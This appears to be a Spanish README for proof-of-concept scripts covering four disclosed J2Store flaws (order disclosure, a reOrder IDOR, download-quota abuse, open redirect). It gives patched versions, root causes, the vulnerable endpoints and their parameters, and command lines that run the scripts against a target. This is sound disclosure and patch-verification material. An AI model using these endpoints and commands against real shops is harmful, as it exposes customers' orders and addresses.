
PoC para J2Store CVE-2026-67358–67362 (Aviso de seguridad de J2Commerce de agosto de 2026)
Material de prueba de concepto para cuatro vulnerabilidades en com_j2store (J2Commerce J2Store), descubiertas por Murrez y corregidas en:
| Rama | Versión corregida |
|---|---|
| J2Store 3.x |
| 3.3.21 |
| J2Store 4.0.x | 4.0.21 |
| J2Store 4.1.x | 4.1.6 |
Aviso oficial: Anuncio de seguridad de J2Commerce (2026-08-20)
| CVE | Problema | Autenticación | CVSS 4.0 | Gravedad |
|---|---|---|---|---|
| CVE-2026-67359 | Partidas y totales del pedido sin autenticación mediante expressconfirm | Ninguna | 8.7 | Alta |
| CVE-2026-67360 | IDOR reOrder entre clientes (carrito/dirección de la víctima en la sesión del atacante) | Baja (usuario autenticado) | 8.7 | Alta |
| CVE-2026-67358 | updateHitCount consume la cuota de descarga de otro cliente | Baja (token de pedido de invitado) | 5.3 | Media |
| CVE-2026-67362 | Redirección abierta en tareas del carrito (setcurrency, addItem, applyCoupon, applyVoucher) | Ninguna | 5.1 | Media |
Versión probada: J2Store Pro 4.1.5 en Joomla 5.x (laboratorio local).
Solo para investigación de seguridad autorizada y verificación de parches. No lo utilice contra sistemas que no posea o para los que no tenga permiso explícito de prueba.
pip install -r requirements.txt
Python 3.10+
URL base del laboratorio por defecto: http://127.0.0.1:9991
# CVE-2026-67359 — unauth order disclosure
python poc/CVE-2026-67359_expressconfirm.py --base http://TARGET --order-id ORDER_ID
# CVE-2026-67362 — open redirect (checks Location header)
python poc/CVE-2026-67362_open_redirect.py --base http://TARGET
# CVE-2026-67358 — cross-order download quota burn
python poc/CVE-2026-67358_updateHitCount.py \
--base http://TARGET \
--order-id YOUR_ORDER_ID \
--token YOUR_ORDER_TOKEN \
--victim-orderdownload-id 2
# CVE-2026-67360 — reOrder IDOR (requires Joomla login + CSRF)
python poc/CVE-2026-67360_reOrder.py \
--base http://TARGET \
--order-id VICTIM_ORDER_ID \
--username USER --password PASS
# Run all applicable unauthenticated checks
python poc/run_all.py --base http://TARGET --order-id ORDER_ID
Reproducciones mínimas Burp/curl: replay/
expressconfirmEndpoint: GET /index.php?option=com_j2store&view=checkout&task=expressconfirm&order_id=…
Cuando no existe una sesión de pago activa, cualquier order_id muestra la página de confirmación de pago exprés (partidas, cantidades, precios, totales) sin autenticación.
Causa raíz: components/com_j2store/controllers/checkouts.php — expressconfirm() utiliza el order_id proporcionado en la solicitud sin comprobar su propiedad.
reOrderEndpoint: GET /index.php?option=com_j2store&view=myprofile&task=reOrder&order_id=…&{csrf}=1
Un usuario autenticado que tenga el order_id de una víctima puede ejecutar reOrder: los elementos de línea de la víctima se copian al carrito del atacante; los IDs de las direcciones de facturación y envío de la víctima se almacenan en la sesión del atacante.
Causa raíz: components/com_j2store/controllers/myprofile.php — reOrder() valida CSRF e inicio de sesión pero no $order->user_id.
updateHitCountEndpoint: POST /index.php?option=com_j2store&view=myprofile&task=updateHitCount
Un invitado o cliente con un par (order_id, token) válido propio puede incrementar limit_count sobre el orderdownload_id de otro pedido. No se requiere token CSRF.
Causa raíz: components/com_j2store/controllers/myprofile.php — el token solo se comprueba contra el pedido del solicitante; orderdownload_id no está vinculado a ese pedido.
Tareas: carts.setcurrency, carts.addItem, carts.applyCoupon, carts.applyVoucher
Los parámetros redirect / return codificados en Base64 se decodifican y se pasan a $app->redirect() sin lista blanca de hosts. JRoute::_() no bloquea URLs externas absolutas.
Causa raíz: components/com_j2store/controllers/carts.php
Los problemas 1, 2, 3 y 5 del aviso del proveedor — Murrez ([email protected]).
Divulgación coordinada a través de J2Commerce y el Joomla Security Strike Team.
MIT — consulte LICENSE.